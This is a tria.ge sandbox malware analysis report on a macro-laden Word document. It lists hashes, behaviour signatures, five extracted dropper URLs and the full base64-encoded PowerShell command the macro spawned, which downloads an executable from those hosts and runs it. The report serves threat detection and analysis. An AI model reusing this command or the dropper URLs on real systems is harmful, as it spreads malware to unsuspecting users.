Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 22:10

General

  • Target

    7e91db56b5ae43062a0fa2ec60e2ad74_JaffaCakes118.docm

  • Size

    127KB

  • MD5

    7e91db56b5ae43062a0fa2ec60e2ad74

  • SHA1

    61e4cddfe687339334f0e716061865d64aff88b0

  • SHA256

    aa645c4db88eaf6ca752a4c4ff090e64b9aa941e60da6fd52817305597b64a56

  • SHA512

    5e9fc7ab21ae99d4db692f8bd9c8197ca188913cb16a4aa2e8a283bf14e4115489a9fad83284ca864ad4ceaef02a94742456d90e7d9d916b528b72934a4917d1

  • SSDEEP

    3072:F6284oIMrRXO52I2DsTUyEpf/Eg22wNGdAB3It8KlRBSE:7tfaHDYUFf/XyGd230RsE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://pixtravelers.com/wp-admin/eRLY/

exe.dropper

http://jevelin.dongxanhshop.com/wp-admin/aw2mIU/

exe.dropper

http://new.dongxanhshop.com/wp-admin/52HY48070/

exe.dropper

http://demo.hbmonte.com/qkajzh322j/ApZ405/

exe.dropper

http://redwingdemo.dukaafrica.com/wp-content/Ad4DFk/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e91db56b5ae43062a0fa2ec60e2ad74_JaffaCakes118.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2164
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2080
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
      PoWERsheLL -e JABJAGIAawB5AGMAcgBzAG4AaQA9ACcAUwB1AHgAaAB4AG0AYQBiAG8AJwA7ACQARwBtAG8AZABuAGcAawBtAGwAaQBtAHAAaQAgAD0AIAAnADYANAAxACcAOwAkAEEAaQBsAG0AYQB2AGQAZABpAHAAeABoAD0AJwBaAGgAaABuAHkAZgBpAGcAbwBwACcAOwAkAFEAdAByAGsAZgBwAHoAdgB5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAG0AbwBkAG4AZwBrAG0AbABpAG0AcABpACsAJwAuAGUAeABlACcAOwAkAEwAYQBwAGgAZwByAGUAaQBrAD0AJwBGAHMAcgBmAHIAeQBkAHgAcQBqAG0AJwA7ACQASgBrAHkAcwBjAHcAYQBrAHEAawA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBjAEwAaQBFAE4AVAA7ACQAWQBuAHoAcQBmAHMAegBvAHkAZAB6AG0AZwA9ACcAaAB0AHQAcABzADoALwAvAHAAaQB4AHQAcgBhAHYAZQBsAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBlAFIATABZAC8AKgBoAHQAdABwADoALwAvAGoAZQB2AGUAbABpAG4ALgBkAG8AbgBnAHgAYQBuAGgAcwBoAG8AcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AYQB3ADIAbQBJAFUALwAqAGgAdAB0AHAAOgAvAC8AbgBlAHcALgBkAG8AbgBnAHgAYQBuAGgAcwBoAG8AcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAyAEgAWQA0ADgAMAA3ADAALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAGgAYgBtAG8AbgB0AGUALgBjAG8AbQAvAHEAawBhAGoAegBoADMAMgAyAGoALwBBAHAAWgA0ADAANQAvACoAaAB0AHQAcAA6AC8ALwByAGUAZAB3AGkAbgBnAGQAZQBtAG8ALgBkAHUAawBhAGEAZgByAGkAYwBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQQBkADQARABGAGsALwAnAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAYQBzAHgAawB1AHUAdgB5AHcAawBkAD0AJwBJAGYAYwBvAGEAagBxAGMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAYgB2AGMAcgB3AG4AcAB3AHkAIABpAG4AIAAkAFkAbgB6AHEAZgBzAHoAbwB5AGQAegBtAGcAKQB7AHQAcgB5AHsAJABKAGsAeQBzAGMAdwBhAGsAcQBrAC4AIgBkAG8AYAB3AE4ATABgAE8AYQBEAGYASQBsAEUAIgAoACQASwBiAHYAYwByAHcAbgBwAHcAeQAsACAAJABRAHQAcgBrAGYAcAB6AHYAeQApADsAJABBAHEAaABrAHMAeAB2AHoAbgA9ACcARwB6AGcAeQBxAHcAdgBoAHcAaAAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAFEAdAByAGsAZgBwAHoAdgB5ACkALgAiAGwAZQBgAE4ARwBgAFQASAAiACAALQBnAGUAIAAyADEAMwA4ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBgAEUAQQBgAFQAZQAiACgAJABRAHQAcgBrAGYAcAB6AHYAeQApADsAJABWAHIAbwB1AGwAZABiAHMAZgBsAHgAdQBtAD0AJwBBAGEAawBwAHEAbwBjAGcAJwA7AGIAcgBlAGEAawA7ACQASgBuAHYAdQB6AHkAeQBtAGsAcABhAD0AJwBOAGsAdgB1AGEAbgBpAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBnAHYAdwBtAG0AaQBzAGwAcwA9ACcAUQBnAHgAZgBtAHoAaABjACcA
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      df44ab612e9863b69eb5babbb7480e5d

      SHA1

      5898dc299ef51883641f4e9648821fb88f781a28

      SHA256

      823cf2e8cd3f158ee22138dfc9f26a9acbe3b2b60b5f93f042baff8114437f40

      SHA512

      bb30636eac7180d83f932c289eae87276f93cb8347a1aec58106a11442a5273862e36d583ea1d3914aed89c2b15dcc5bba0f0de3ac465058dec1fabd9c7723da

    • memory/2164-33-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-47-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-8-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-7-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-18-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-23-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-2-0x00000000719BD000-0x00000000719C8000-memory.dmp

      Filesize

      44KB

    • memory/2164-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2164-32-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2164-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2164-0-0x000000002FAE1000-0x000000002FAE2000-memory.dmp

      Filesize

      4KB

    • memory/2164-46-0x00000000719BD000-0x00000000719C8000-memory.dmp

      Filesize

      44KB

    • memory/2164-48-0x0000000004ED0000-0x0000000004FD0000-memory.dmp

      Filesize

      1024KB

    • memory/2564-39-0x000000001B540000-0x000000001B822000-memory.dmp

      Filesize

      2.9MB

    • memory/2564-40-0x00000000028E0000-0x00000000028E8000-memory.dmp

      Filesize

      32KB